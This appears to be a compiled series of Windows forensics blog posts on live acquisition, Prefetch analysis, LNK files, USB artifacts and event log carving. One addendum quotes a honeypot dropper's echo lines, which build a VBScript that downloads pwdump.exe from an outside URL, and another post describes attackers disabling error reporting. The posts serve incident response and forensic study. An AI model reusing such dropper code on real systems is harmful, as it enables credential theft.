Thoughts on Live Acquisition

Recently, I've been doing some thinking about issues surrounding live acquisitions - specifically, acquiring an image from a system that is running, as opposed to either booting the system to an alternate OS, or removing the hard drive and hooking it up to a write-blocker.

There are several methods for performing a live acquisition, but most involve running an agent or application of some kind on the system itself. You can do this using ProDiscover (install or run the PDServer agent from a CD or thumb drive), FTK Imager (run from a CD or thumb drive, and write the image files to an external drive or an already-mapped share), or with good ol' dd and netcat running from a CD. Regardless of how you choose to do this, there is an additional process running on the system...so think Heisenberg's Uncertainty Principle, but in the digital realm.

So in acquiring an image from a live system, we need to introduce a process into a system of already running processes. While our intention is to take care and disturb the 'scene' as little as possible, it is simply a fact that we're going to leave some artifacts of our activities on the system...memory is consumed by our process, as are buffers, perhaps other processes have pages written out to the pagefile, etc. However, we address this issue with thorough documentation of our procedures and methodologies.

Now, in his book Computer Evidence: Collection & Preservation, Chris Brown describes the result of a live acquisition as a "smear", as from a temporal perspective, that's what we've got. Remember, it takes time to acquire an image from a hard drive, and if the system is still live and running when you acquire that image, then there is the distinct possibility that some sectors may change after you acquire them. Rather than having a sharp, distinct snapshot in time as when you acquire an image from a hard drive that has been removed from a system, you get a "smudge" or a "smear" instead. Also, as Greg Kelly pointed out in another forum recently, some of what we would normally consider stagnant data (Registry, files, etc.) can actually be considered volatile, and subject to change during the course of our acquisition...think log files, Event Log entries, the pagefile, etc.

Now, would it be possible to minimize this effect, by limiting what's running on the system during the acquisition? I believe that the answer to this is "yes". To do this, we'd need to take a couple of things into consideration. We'd should first ask ourselves, is this necessary? Hhhhmmm...if you're imaging the system over the network, and that system is still connected to the network, what is it doing on the network while you're acquiring your image? Is it serving up web pages, processing email, etc?

Before we continue, remember, we're talking about a live acquisition here, getting an image of the hard drive, NOT collecting the contents of memory.

Okay, that being said...if you're imaging over the network, is the system still providing services (shares via the Server service, etc.) that may have a significant effect on what you walk away with? We have to consider this in the face of what effect our actions will have on the system itself when we, say, disable a service. First, we have to see what processes are running, and to do that, we need to load some software and run another process (unless you're using the ProDiscover PDServer, as the agent provides this functionality, as well). Then we have to weigh the benefits of disabling the process or service against the "costs" of the effect that our actions have on the contents of the hard drive. Is that process really processing anything? We know that it may have file handles open, etc. But is there enough of an effect on the contents of the drive that it would make a significant difference within the time it takes to acquire the image? Also, if I disable that process/service, what happens? Any log files may be closed, perhaps the operating system itself will write an entry into the System or Application Event Log, etc.

Some of the processes or services I might consider shutting down include:

• AntiVirus products - these things reach out on their own and update themselves, or run scans automatically
  
• Task Scheduler - check to see if there are any jobs scheduled to run...this can get in the way of your acquisition (also, see the "Notes from the Underground..." sidebar on pp 215-216 of my book for an interesting tidbit on hiding scheduled tasks)
• Windows Firewall - depending upon how it's configured (we'd want to check, of course) there may be some significant issues. I included a sample pfirewall.log file on the DVD with my book...I'd turned up logging on the firewall and hit it with nmap. ;-)
• Exchange/IIS - if the system is still connected to the network do you want it processing email and web pages during the acquisition? Think the same thing for the FTP and SMTP services that sometimes get installed along with IIS.

This isn't meant to be a complete list, of course, but instead it's meant to start some thinking about what we have to consider before shutting a service down, or disabling a process.

So, before doing any of this, we need to put some thought into it. What, if anything, am I going to disable or shut down? Do I even need to? In some cases, live acquistions I've done have been of systems that had already been taken off of the network (not by me) and shut down, and then rebooted so they could be acquired (acquisition via write-blocker was not possible). With no network connections, I'm not overly concerned about major changes to the system during the acquisition process...the NTP service may log a complaint with the Event Log, but little else may happen. However, this isn't always the case...we're seeing a greater need for live response, both in acquiring the contents of memory, as well as performing live acquisitions of major systems that cannot be brought down or offline. If this is the case, document it. On your acquisition worksheet or in your case notes, clearly state "these services could not be halted or disabled due to...".

This is just a first blush...getting my thoughts down, thinking through things, determining if there is even a strong enough need for something like this...perhaps a matrix of services and processes, and when its a good idea to shut them down, how to do so, etc. Is this necessary?

Also, because I know the question is going to come up...addressing this same issue in the face of acquiring the contents of physical memory is an entirely separate post. Stay tuned!

A little about my book...

I apologize for this brief digression from the normal flow of the blog, but I've been receiving certain comments of late from several venues, and I thought I would address them all at once...

Many times, in forums (forii??) or email, someone will see me say "...as I mentioned in my book..." or "...as detailed in my book..." and I've received comments that some folks have been turned off by that. Okay, I can go with that, as I dislike sales pitches myself. So why do I say something like that?

The first conclusion that many seem to come to is that I'm trying to get you to purchase my book to line my pockets. Don't take this personally...but that is not only the first and most popular reaction, but also the most naive and uneducated one, as well. The folks who feel that way have not written a book and do not know what goes into writing such a book. Further, they have no idea how little an author makes on the sale of a book.

So why do it? Well, I wrote both of my books (first one and second one) as references...I had a lot of information to share, and I wanted to put it all in one place, and thought that it would be a good idea to do so in a manner that would make it available to others.

Now, I could post this stuff on the Internet for free, couldn't I? Rather constantly rewriting the same thing over and over again into emails and posts, I could cut-n-paste it, or simply post it on the Internet and constantly repost the link. But that gets pretty tiresome...so why not put it into a book? Another benefit of having it in a book is that there is a certain amount of credibility to the material...after all, it has to be tech edited and reviewed. My first book had three tech reviewers (some more engaged than others)...my second one started with one, and ultimately had two. Look at who tech edited my second book, and also look at the names of folks who are acknowledged as having made contributions that were important to the development of the book...doesn't that give the material a bit more credibility than posting it to the Internet?

So the next time you see me say those words, and think to yourself, "man, I wish this guy would just shut up about his book!!", try thinking instead that there maybe something useful in that book or on the DVD...Troy Larson thought so.

XP Firewall

Pp 216 - 128 of my book address the Windows XP firewall logs; where the file(s) is/are located on a system, and how they are useful to an investigation. I even include a sample firewall log on the DVD from where I enabled all logging and scanned my system with nmap from another system. I wanted folks to see what this kind of thing looks like, and I hope that you've found it beneficial.

Has anyone seen the "Bonus" directory on the DVD yet? Within the Bonus directory is a Perl script (and an associated EXE file...be sure to follow the instructions and keep the appropriate DLL with the EXE if you copy it off of the DVD) called "fw.pl" that uses WMI to get configuration information about the Windows XP firewall, and the SecurityCenter, in general.

Using either the Perl script or the EXE, type "-?" or "/h" at the command prompt to see the syntax information. Simply typing "fw.pl" or "fw" (for the EXE) tells the tool to collect and display all information. The tool displays basic information about the firewall, authorized applications, service/port information, SecurityCenter information, etc., all from a live system.

Porting this over to extracting the same information from an imaged system shouldn't be too difficult.

Note: The fw.exe file that you see in the Bonus directory was "compiled" from the Perl script using Perl2Exe. When I compiled the EXE, I used the "-small" switch so that the Perl runtime DLL would be pulled out as a separate file. However, other Perl modules are used as well, so I also compiled a version using the "-tiny" switch. This setting creates a separate DLL for each Perl module used, rather than pulling them out of the EXE at runtime and creating temporary files on the local hard drive. This file is in the "fw.zip" file...using the "-tiny" switch means that its suitable for use in live response, particularly with the Forensic Server Project.

XP Anti-Forensics

There is discussion now and again in computer forensic circles regarding "anti-forensics", techniques that are used on systems to remove or obfuscate the artifacts that an examiner may look for and analyze. These are usually discussed in the context of purposeful actions performed by a user or attacker, but not so much in the sense that there are "under the hood", "behind the scenes" activities that go on as part of normal, day-to-day operations of the operating system that can serve the same function.

What is it that happens behind the scenes on a live XP system that most of us don't really know about? Have you ever fired up FileMon or RegMon and just watched what they recorded on a live system, without you interacting with the system at all? Now...move the mouse pointer across the screen...

While XP is a treasure trove of artifacts for an examiner, there are also things that the examiner needs to keep in mind when performing artifact extraction and analysis, particularly when it comes to looking for deleted files. When a file is deleted on a Windows system (not moved to the Recycle Bin, but really deleted), it's common knowledge that its not really gone. In a nutshell, the sectors that the file occupies are still on the hard drive, although they are now available for use by the operating system. And there's a lot that XP does to use those available sectors.

Many applications, such as MS Word, like to create temporary files while you're editing a document, and then delete those when you close the document. The sectors used by those temporary files need to come from somwhere. Yes, this is an application-specific issue and applies to any version of Windows that the application is running on.

XP creates System Restore Points, every 24 hrs by default, but also during various other actions, such as software installation or removal, etc. These Restore Points contain files that consume sectors. See my book for more information on Restore Point analysis.

Every three days, the XP Prefetch function performs a limited defragmentation of files on the hard drive. While this is limited, it still moves the contents of some sectors, overwriting others.

Speaking of XP Prefetch, when a user (any user) on the system launches a "new" application, a Prefetch file may be created for that application (assuming the 128 Prefetch file limit hasn't been reached). On my system, I have 104 .pf files, ranging in size from 8K to over 100K. Again, sectors are consumed.

As discussed in the Registry Analysis chapter of my book, there are a number of places within the Registry where a user's actions are recorded in some manner. New entries are added to the Registry, increasing the size of the files...not just the user's NTUSER.DAT file, but some actions will added entries to the HKLM hives, as well.

Of course, there are also a number of Registry settings that will have an effect on the examiner's analysis; these are addressed in detail in my book. While these aren't specific to XP, they do have a decidedly anti-forensic effect.

I mention these things because many times an examiner may be looking for evidence of a deleted file, carving unallocated space looking for a keyword or a file header, and come up empty. Remember Harlan's Corollary? ;-) Funny how there just seem to be more and more ways to apply that corollary...

Sites discussing anti-forensics aren't hard to find:
The MetaSploit AntiForensics Site
Ed Skoudis is quoted on antiforensics in 2003
Marcus K. Rogers' presentation
Ryan Harris' DFRWS paper

Prefetch Analysis

I've seen a couple of posts recently on other blogs (here's one from Mark McKinnon) pertaining to the Windows XP Prefetch capability, and I thought I'd throw out some interesting stuff on analysis that I've done with regards to the Prefetch folder.

First off, XP's Prefetch capability is meant to enhance the user eXPerience by helping frequently used applications load faster. Microsoft has a nice writeup on that, and portions of and references to that writeup are included in my book. XP has application prefetching turned on by default, and while Windows 2003 has the capability, only boot prefetching is turned on by default. So, XP systems are rich in data that can help you assess and resolve an incident investigation.

First off, XP can maintain up to 128 Prefetch files...these are files within the Windows\Prefetch directory that end in ".pf". These files contain a bunch of prefetched code, and the second half of the files generally contain a bunch of Unicode strings that point to various modules that were accessed when the application was launched. Also, each Prefetch file contains that run count (number of times the application has been run) as well as a FILETIME object representing the last time the application was launched, within the file itself (ie, metadata).

Okay, so how can this information be used during forensics analysis? Remember Harlan's Corollary to the First Law of Computer Forensics? If you acquire an image from a system...say, a user's laptop...and you're told that the user had this laptop for a year or so, and you don't find any .pf files...what does that tell you?

Mark talked about U3 Smart Technology, and some of the Prefetch artifacts left behind by the use of tools like this. Excellent observations, but keep in mind that the Prefetch files aren't specific to a user...they're system-wide. On a multi-user system, you may have to look other places to determine which user launched the application in the first place. Ovie does a great job talking about the UserAssist keys and how they can help you narrow down who did what on the system.

I've looked to the Prefetch folder for assistance with an investigation. In one instance, there was a suspicion that a user had deleted some files and removed software from the system, and attempted to cover his tracks. While it was clear that the user had done some of these things (ie, removed software, emptied their Recycle Bin, etc.) it was also clear that they hadn't gone through the trouble of running one of those tools that delete everything; most of the artifacts I would look for were still in place (can you guess from my book what those artifacts might have been?). I found a reference to defrag.exe in the Prefetch folder, but nothing to indicate that the user had run the defrag tool (XP's built-in, automatic anti-forensics capabilities are a subject for another post). It turns out that as part of the Prefetch capability, XP runs a limited defrag every 3 days...the Prefetch capability prefetches XP's own prefetch functionality. ;-)

In another instance, I wanted to see if a user had burned anything to CD from the system. I found the installed software (Roxio Sonic), but found no references in any of the user artifacts to actually launching the software. I did, however, find an IMAPI.EXE-XXXXXX.pf file in the Prefetch directory. Interestingly enough, the Unicode strings within the file included a reference to iTunes, which, it appeared, the user used a lot. It turns out that iTunes likes to know where your CD or DVD burner is...I confirmed this on another system on which I knew the user used iTunes, and had not burned any CDs.

So, as a wrap up, some things to look for when you're digging into the Prefetch directory:

- How many .pf files (between 0 and 128) are in the Prefetch directory?

- For each .pf file, get the last run time and the run count. The last run time is a FILETIME object, meaning that it is maintained in UTC format...you may need to adjust using information from the TimeZoneInformation Registry key (ie, ActiveTimeBias).

- Correlate .pf files and the last run times to UserAssist key entries to tie activity to a specific user, as well as the Event Logs.

- Run strings to get the Unicode strings from the file and see what other modules were accessed when the application was launched.

Finally, there is a ProDiscover ProScript on the DVD that ships with my book (in the ch5 directory) that will locate the Prefetch folder (via the Registry) and automatically parse the .pf files, listing the last run time and run count for each. I have since updated that ProScript to display its output in time-sorted order, showing the most recent time first. I've found that this makes analysis a bit easier.

New versions of tools released

I ran across a blog post this morning saying that new versions of pwdump6 and fgdump have been released.

So what does this have to do with forensic analysis? Well, like most folks, I've seen compromised systems that start by getting a downloader on the system, and the attacker is able to gain System level access and use something like wget to download their tools. I've seen not only the pwdump password dumping tool on systems, but I've also seen the output file from the command run sitting on the system...in some cases, in a public web directory with a corresponding query for that page in the web logs.

For those of you who use hash comparison tools, grab these puppies, hash 'em and store the hashes! If you don't do hash comparisons, or don't use this technique to a great extent, you should still be aware of the tools.

Litchfield on Oracle Live Response

Thanks to Richard Bejtlich, I learned this morning that David Litchfield, famed security researcher with NGSSoftware, has released a paper entitled Oracle Forensics Part 4: Live Response. In that paper, David starts off by discussing live response in general, which I found to be very interesting, as he addresses some of the questions that we all face when performing live response, particularly those regarding trust and assurance...trusting the operating system, trusting what the tools are telling use, etc.

David's paper highlights some of the aspects of live response that every responder needs to be aware of...in particular, when the first responder arrives on-scene and wants to collect volatile data, she will usually start by assessing the situation, and then when she's ready to collect that volatile data, insert a CD full of tools into the CD-ROM drive. From David's paper:

When they insert the CD and run one of the tools, due to the way Windows launches new processes, the tool will have key system dynamic link libraries in its address space, i.e. the memory the tool uses.

Great point...but keep in mind that at this point in time, during live response, there really isn't any way to avoid this situation. It happens, and it has to happen. The key to live response isn't how to keep it from happening...rather, it's to have a thoroughly documented process that lets you address the situation head on.

One of the main concerns about live response is often, if we do live response and have to take the information to court, how do we prove that our investigation did not modify the "scene" in any way, and that everything is pristine? The fact is...we can't. Nor should we try. Instead, we need to have a thorough, documented process, and be able to show that while our actions did modify the "scene" (via the application of Locard's Exchange Principle or Heisenberg's Uncertainty Principle...) just as an EMT's actions will modify a real-world crime scene, as investigators we should be looking at the totality of the information or evidence that we're able to collect and examine.

So, in a nutshell, while it is possible that the tools we loaded and ran on the system to collect volatile data were themselves compromised by a patched version of ntdll.dll in memory, what does the totality of the information tell us?

One thing I would suggest is that when you're reading David's excellent paper, and you get to the General Steps of Live Response section, refer back to the Order of Volatility. Dave is correct in that the application-specific information (about Oracle in this case) should be collected last but IMHO, the first thing that should be collected, as soon as possible, is a complete snapshot of physical memory (check out the sample chapter for my book, Windows Forensic Analysis). The reason I would suggest collecting the contents of physical memory first have to do with David's description of process creation...when a process is created, an EPROCESS block and all of the other structures necessary (at least one ETHREAD block) are created, consuming memory. This means that as processes are created, the pages used by other processes will be swapped out to the pagefile. Knowing this, we should collect as much of the contents of RAM as possible before moving on and collecting specific items, such as running processes, or the memory contents (RAM + pagefile) of those processes, etc.

Okay, enough about live response for now...this is a topic that deserves it's own space.

I found David's paper to be particularly interesting, as some of the work I've been involved with (and likely will continue to be involved with) has had to do with databases; was the database compromised, and if so, was sensitive information extracted from the database. I'm not a database guy (ie, a DBA) but I do need to know some things about databases; per David's suggestion, it's often best for an incident responder to work shoulder-to-shoulder with an experienced DBA, bringing the forensics mindset (and requirements) to the table.

If you're interested in database security in general, check out David's databasesecurity.com site for more information and books related to database security. For additional information about other database topics, I picked up a link at Andrew Hay's blog, pointing to the Comprehensive SQL Injection Cheat Sheet (well, the cheat sheet is actually here). This resource is invaluable to anyone performing forensic analysis of a potentially compromised system, particularly if it either has a web server installed, or acted as a database back-end for a web-based system. Hint: any reference in web server logs to SQL stored procedures is worth looking at!

Forensic Visualization

A while ago, I ran across an interesting 3D visualization project called fe3d. I remember thinking at the time that this would have been cool to have when I was performing vulnerability assessments. Something like this would have made analysis a bit easier...going through ASCII logs can be a pain...but it would have also been a plus in our deliverables, allowing us to provide the data in a visually appealling way to the customer. I'd also used the old version of cheops before, as well.

I was reading Andrew Hay's blog this morning and came across an interesting post from O'Reilly SysAdmin that has to do with log file visualization. This looks very interesting. I haven't dug into the code content itself yet, but I have to ask...has anyone used this for log file analysis during incident response?

Some thoughts that I had:

1. Using Marcus Ranum's artificial ignorance, read in the IIS web server logs from a case, and compare the entries to the actual pages on the web server (yes, I understand that this would take a couple of phases). If a request is made for a page that exists on the web server, set the color of the dot to green. If the request is made for a page that doesn't exist on the web server (as with a scan), set the color to red.

2. Modify the code to use Event Logs, and tag certain events or records from each log with a particular color based on the event. Say, records from the Security Event Log get a particular color, or successful logins get one color and failed login attempts get another color.

I can see how something like this would be very helpful in visualization of data content, as well as presentation and reporting of the data that is found. I'm thinking more along the lines of reports to customers, but I'm sure that there are others out there who are thinking, "would something like this be useful in presenting data to a prosecutor, or to a jury??"

Forensic Laws

I mentioned a concept or idea in my book, but I wanted to follow up on it a bit...I believe to be a theorem. Okay, maybe not a theorem (there's no math involved), so how about a law. Let's call it the First Law of Computer Forensics. Yeah, yeah...that's the ticket! Kind of like "Murphy's Law".

With that being said...here goes:

There is evidence of every action.

Just to be above board on this, credit (or blame, you decide) goes to Jesse Kornblum. One thing to keep in mind about this law is that the evidence is there...it simply may not exist on the media that you're currently examining. For example, one question that I've seen in the lists is, how do you tell from an acquired image of a system if files were copied from it to, say, a thumb drive? Well, you may find the existence of the file on the system, and you will find that the thumb drive was plugged into the system (to see how to determine this on Windows systems, grab a copy of my book), but how do you determine if the file was copied to the thumb drive, if all you have is the image of the system? The fact is...you can't. You need the thumb drive. Even though the evidence you're looking for isn't on the image, it is on the thumb drive.

Now, here's Harlan's Corollary to the First Law of Computer Forensics:

Once you understand what actions or conditions create or modify an artifact, then the absence of that artifact is itself an artifact.

What this is saying is that not only is there evidence of every action, but the lack of that evidence is itself evidence.

Thoughts?

Addendum, 13 May: I wanted to point out that the example I gave of the laptop and the thumb drive is just that...an example. If you're starting to think that I'm making an absolute, definitive statement about the existence of an artifact on the thumb drive, please re-read the statement, and think of it only as an example. Thanks.

PPT Metadata

I received an email recently asking if I had any tools to extract metadata from PowerPoint presentations. Chapter 5 of my book includes the oledmp.pl Perl script, which grabs OLE information from Office files; this includes Word documents, Excel spreadsheets, and PowerPoint presentations. I've run some tests using this script, and pulled out things like revision number, created and last saved dates, author name, etc.

Pretty interesting stuff. There may be more...maybe based on interest and time, someone can look into this...

Here's an example of the oledmp.pl output from a PPT file (some of the info is masked to protect privacy):

C:\perl>oledmp.pl file.ppt
ListStreams
Stream : ♣DocumentSummaryInformation
Stream : Current User
Stream : ♣SummaryInformation
Stream : Pictures
Stream : PowerPoint Document

Trash Bin Size
BigBlocks 0
SystemSpace 876
SmallBlocks 0
FileEndSpace 1558

Summary Information
subject
lastauth Mary
lastprinted
appname Microsoft PowerPoint
created 09.06.2002, 19:51:48
lastsaved 14.09.2004, 19:08:39
revnum 32
Title Title
authress John Doe

Pictures
Current User
♣SummaryInformation
PowerPoint Document
♣DocumentSummaryInformation

So what does all this mean? Well, we see the various streams that are embedded in the document, and an example of what is extracted from the SummaryInformation stream. Some of this information can be seen by right-clicking on the file in Windows Explorer, choosing Properties, and then choosing the Summary Tab, and then clicking the Advanced button.

Simple modifications to the oledmp.pl script will let you extract the stream tables, as well, showing even more available information.

Event Logs in Unallocated Space

I received an email from a friend recently, asking about finding an Event Log in unallocated (ne "free") space. He mentioned that he'd found it using a hex editor and copied it out of the image to a separate file, but still couldn't open it in the Event Viewer.

That got me thinking about the content of my book, and how that could be useful in a situation like this. On page 201 of Windows Forensic Analysis, table 5.3 lists the event record structure; that is, what an event record "looks like". With this information alone, event records can be retrieved from unallocated space; once you find the "magic number", back up 4 bytes and you've got the size of the event record. From there, you can copy out the entire event record and the rest of the information within the record can be easily parsed from unallocated space, or even from the pagefile or a RAM dump.

A post from another forum got me thinking that the same is true for Registry keys, as well. Figure 4.3 illustrates a hex view of what a Registry key and a Registry value "look like" on disk. Using this information, as well as the code listed on pgs. 133 and 134, Registry keys and values can be extracted and reconstructed from unallocated space, the pagefile, or even a RAM dump.

The great thing is that event records and Registry keys have time stamps associated with them (Registry values do not). This also illustrates what can be retrieved from these other areas through data carving...after all, event records and Registry structures have "magic numbers", similar to file headers, and their data can be carved out just as easily.

SOLD OUT!

I went by the Syngress site for my book today and saw a message that said, in part:

Sorry! This item is currently out of stock at syngress.com. You may want to check availability at the resellers listed on the item's catalog page.

Cool! Many thanks to everyone who has purchased a copy of the book, and to those who are going to...

Addendum, 8 May: I called a bunch of people at Syngress yesterday, leaving messages all over. I was somewhat concerned that the original page had been completely replaced, so no one could put the book on back-order, or view the Table of Contents or even the Sample Chapter. This morning, the order page is back up, sans the picture of the book cover.

Addendum, 9 May: Okay, false alarm, folks! I finally got through to someone at the publisher, and it turns out that while the books are running low due to the volume of orders, what really happened is that the web page fell victim to a developer!

Interviews

For anyone who is curious about my book, Windows Forensic Analysis (ToC and sample chapter available), I've had an opportunity to speak to some folks and answer some questions recently:

Andrew Hay's Q&A
29 Apr CyberSpeak Podcast with Ovie and Brett
ForensicFocus

I'm really looking forward to Andrew's review of my book.

Something Else To Look For...

Not long ago, Didier Stevens blogged about Windows Safe Mode and some Registry keys/values that pertain to Safe Mode. He filed this blog entry under "hacking". One of the cool things about computer forensics is that it's the flip side of hacking...discovering artifacts or "footprints" to find what kind of things happened on a system when it was "hacked".

Didier points out in his blog post how easy it is to write your own service that launches from Safe Mode. As more and more malware authors seem to be choosing a Windows service over the ubiquitous Run key in order to maintain the persistence of their malware on a system, it simply makes sense that a check should be made of the SafeBoot (Windows 2000, XP) key, as well.

Is this really such an issue, something you should be concerned about when performing IR or conducting an investigation? Let me add some perspective...not long ago, I examined a worm that had infected several systems, and it created an entry for itself in the RunOnce key; the entry was prepended with a "*". Does anyone get the significance of that?

Something New To Look For

Over on the Windows Forensic Analysis group, Hogfly mentioned something he'd found in a honeypot that had been compromised by the MS DNS exploit...a script that modified several values within the following Registry key:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting

The values modified include:

AllOrNone
DoReport
IncludeKernelFaults
IncludeMicrosoftApps
IncludeWindowsApps
IncludeShutdownErrs
ShowUI

So, what's this all about? Remember how some malware tries to shut off AV software or the Windows Firewall? Well, the script that Hogfly found uses reg.exe to set all of the values (except the first one) to 0, and effectively shuts down any error reporting, which is essentially a visual notification that something is wrong on the system.

When performing IR or CF Registry analysis, this is another place to look regarding issues on a system following an intrusion or compromise. If nothing else, this sort of information can provide you with some insight as to the technical sophisitication of the attacker or malware author.

Addendum, 29 Apr: From Hogfly's updated post on the analysis of the honeypot: here's an extract from a .vbs script that was created on the system:

echo Set xPost = CreateObject("Microsoft.XMLHTTP")>>get.vbs
echo xPost.Open "GET","http://www.dit.net/images/pwdump.exe",0 >>get.vbs

These lines make the resulting script work like a dropper, reaching out to another site and grabbing a file. Under the hood, the script uses the WinInet API (the "GET" functionality, specifically), which will leave other artifacts on the system; specifically, you will see web browser history (ie, Temporary Internet Files) for the "Default User". Robert Hensing has an excellent write-up on this phenomenon; in a nutshell, whenever the WinInet API functions are executed from a System-level account, the TIF history appears within the "Default User" profile.

Links
Error Reporting Policies and Advanced Features
BitCruncher Script for Annoyances

WFA Sample Chapter

I wanted to point out to the readers of this blog that Syngress/Elsevier has a sample chapter of my book available online for free download. The sample chapter is chapter 3, Windows Memory Analysis.

I point this out because I've received questions via a number of forums about the content...questions like, "how will this book help me?" and "will this book teach me anything new?"

...and I thought Troy Larson's quote would've been enough to sell the book to the blind!

If you download the chapter, or purchase the book, I'd greatly appreciate comments...regarding content, etc.

Thanks!

Drive Encryption

One of the challenges posed by Vista to traditional forensic analysis is the use of BitLocker to encrypt data on the hard drive. However, this really isn't any different from other similar technologies such as PGP, etc., that already allow encryption of files, partitions, or drives.

The response to encountering active drive encryption, particularly when dealing with an uncooperative suspect, should be to acquire a live image of the system hard drive, as in many cases, powering off the system and removing the hard drive may result in encrypted data being imaged, and until we get some kind of instantaneous image translation technology, that would be a "Bad Thing" for analysts.

So, when approaching a system, how does one tell whether or not there's any drive encryption in use? Well, Hogfly wrote an excellent WMI VBS script for detecting BitLocker. Using Perl, you could implement this script and then "compile" it into a standalone EXE and run it from a CD prior to imaging.

At this point, all we'd need to do is come up with other "signatures" for drive encryption that we can look for. Using a checklist of visible references to look for on the screen, and combining that with a small applet that would be run from a CD and tell the responder (ie, LEO, etc.) if drive encryption was active and in-use, would likely be the best approach.

Thoughts?

From the Lab: Mapping USB devices via LNK files

My first "From the Lab" post will be to address something I see regularly in forums; how does one tie a specific USB-connected device to a Windows system using shortcut (LNK) files, given nothing more than an acquired image to work with? We know that we can extract information about USB devices that have been connected to a system using nothing more than the raw System Registry file...we can get the devices, any drive letters they were mapped to, as well as the date that they were last connected to the system. However, often times we'll have some shortcut files in an image that will point to specific files...images, documents, etc...that we may be interested in, and the drive letter will be F:\ or G:\, or something else that is not part of the system (either as physical or logical drive) that we acquired the image from. So the question is, how do we map the shortcut file to the specific device?

Well, the first thought would be to go to the MountedDevices key and see which devices were mounted as specific drive letters. We know that the binary data for a specific DosDevice entry will contain a reference that looks like "\??\STORAGE\RemovableMedia", followed by the ParentIdPrefix of the device. So, if we have a shortcut file that contains the path "F:\malware.exe", and we know that the device called "\DosDevices\F:" points to a removable storage device, we can then use the ParentIdPrefix value to map back to the USB device found beneath the Enum\USBStor key.

Remember: the ParentIdPrefix value is NOT the device serial number!!

But what happens if you find the multiple USB devices have been connected to the system, and several of them have been mapped to the F:\ drive letter? How do you determine which device was connected when the shortcut was created? Well, to find out, I decided to run a little experiment...

Here's how the experiment works...I plug a GeekSquad 1GB thumb drive into my laptop, and when the drive is created (F:\), I open it and create a shortcut to an application or file on the thumb drive. The shortcut goes on my desktop. This is meant to simulate shortcuts created by files on the thumb drive being accessed/opened, and the shortcut (.lnk) files being created in the Recent folder.

The first thing I did was run secinspect.exe (with the "-n" switch to avoid the hex dumps). As the thumb drive is not a disk, per se, I do not get a disk signature.

Next, I ran ldi.exe, a tool I wrote that is available on the DVD that accompanies my book (located in the ch1\code\Tools directory). This tool implements WMI (Perl source code is available on the DVD, as well) and uses the Win32_LogicalDisk to get the volume serial number from the device (Note: the Win32_PhysicalMedia class returns the manufacturer's serial number for hard drives). Running ldi.exe with the "-c" switch to obtain the .csv format output, I get:

F:\,Removable,,1B360101,FAT,,961.875 MB

Basically, this says that the F:\ drive is identified by Windows (XP SP2, in this case) as being a removable disk, with volume serial number 1B36-0101. The device is formatted FAT, and is approximately 1GB.

Ah, the volume serial number. Very cool! What is the volume serial number, or VSN? The VSN is a value that is calculated, based in part on the current date and time, when the partition is formatted, and added to the boot sector. For all intents and purposes, it should be a unique value, specific to the device, although it can be modified. This Usenet post provides some insight at to how the VSN is created on Win95.

I verified the volume serial number using "chkdsk f:", and got:

Volume Serial Number is 1B36-0101

It is important to note that this experiment is being run against a USB-connected thumb drive, which happens to be formatted FAT. The volume serial number appears to be located in the 4 bytes starting at offset 0x027 within the (first) primary partition. According to the MS TechNet article How NTFS Works, the volume serial number for a partition formatted NTFS is an 8-byte value located at offset 0x48.

The commands "fsutil fsinfo volumeinfo F:" and "vol F:" return the same information as the chkdsk command.

Using a tool based on Jesse Hager's Windows shortcut file format documentation (ie, lslnk.exe found in the ch5\code directory on the book DVD), we see that the shortcut file also includes that volume serial number:

Shortcut file is on a local volume.
Volume Name =
Volume Type = Removable
Volume SN = 0x1b360101

Okay, so far, so good. In most cases, however, you may not have the actual thumb drive available, for whatever reason. So how're you going to map the shortcut file to the specific device that appears in the USBStor key within the Registry? We already know how to map the USBStor key entry to the drive letter that it was mapped to...but that only works if we assume that another device wasn't attached to the system and mapped to the same drive letter at some later point in time. But if you do not have the thumb drive, is the volume serial number useful? It doesn't appear to be so, as the volume serial number does not seem to be stored in any location (key or value) within the Registry that I can locate at this time. This may be by design, as a thumb drive can be reformatted and given a different volume serial number, but be the same device and have the same unique instance ID (serial number from the device descriptor). I even checked the disk_install and volume_install entries within the setupapi.log file, and found no specific reference to the volume serial number at all.

So, as of yet, there does not appear to be any way to map from the info in a shortcut file (ie, drive letter and volume serial number) to the specific thumb drive, without having that thumb drive available. An alternative would be to map time-based information from artifacts (MAC times on the shortcut file, on Prefetch files, associated with other Registry entries) to the time-based information regarding when the device was last connected to the system.

If anyone has any other information that they'd like to share about this issue, it would be greatly appreciated.

Resources:
Windows 2000: Disk Concepts and Troubleshooting
MS TechNet: How FAT Works
Understanding Disk Volume Tracking in Windows 95

Great news for IR and live response!

There was some great news recently for IR and live response!

Over the past couple of years, when discussing the viability and usefulness of live response, particularly as a source of evidence to be used in court, I have very often heard folks say, "I won't perform live response until there is case law to support its use."

Is it just me, or does sound like a chicken-or-the-egg thing? How can something be accepted in court if you're not willing to do the work and bring it into court in the first place? After all, look at everything that is used in court as evidence now, but at one time wasn't...fingerprints, DNA, even computer forensic evidence.

I was reading the TaoSecurity blog post regarding the Heckencamp case, and came across something interesting...that the court accepted a sysadmin's actions of logging into Heckencamp's computer to definitively determine that it was, in fact, the system being used to attack a mail server.

The Wired story mentions things like "counter-crack" and "counter-hacking", and I shudder at the use of both terms. The court's ruling includes a lot of discussion about expectation of privacy, but also includes such things as the fact that the sysadmin wasn't acting as an agent of law enforcement, but instead was acting to preserve the integrity of the mail server that was under attack. Basically, from what I can see in the opinion, the sysadmin confirmed that the system was used to attack the mail server by examining "network logs" and "after approximately 15 minutes of looking only in the temporary directory, without deleting, modifying, or destroying any files, Savoy [the sysadmin] logged off of the computer."

Okay, if anyone believes that nothing was modified in 15 minutes...well, that's a discussion for another time. After all, in order to access "network logs", a file would have had to have been accessed, modifying the last access time of the file...logging into the system itself would have modified logs, the contents of memory, etc...but I digress.

The Wired article ends in a monologue about vigilantism and student privacy, but that's not what I'm seeing here or interested in at all. Sure, the sysadmin used a username and password from a previous portion of his "investigation" to access Heckencamp's system, and the ethics of this can be argued until the cows come home. However, what I'm seeing is that live response may be starting to gain acceptance in court. If a sysadmin can log into a system and muck about for 15 minutes, why can't someone with a detailed process access a live system, collect necessary evidence as part of a thoroughly documented methodology, and then use that evidence in court?

Interesting Tool - SecInspect

Now that my book has been released, I'll be posting updates, errata, and comments here in this blog. Some of the updates will include things such as tool updates, as well as "From the Lab" entries (sort of mini-HowTos), comments, reader questions, etc.

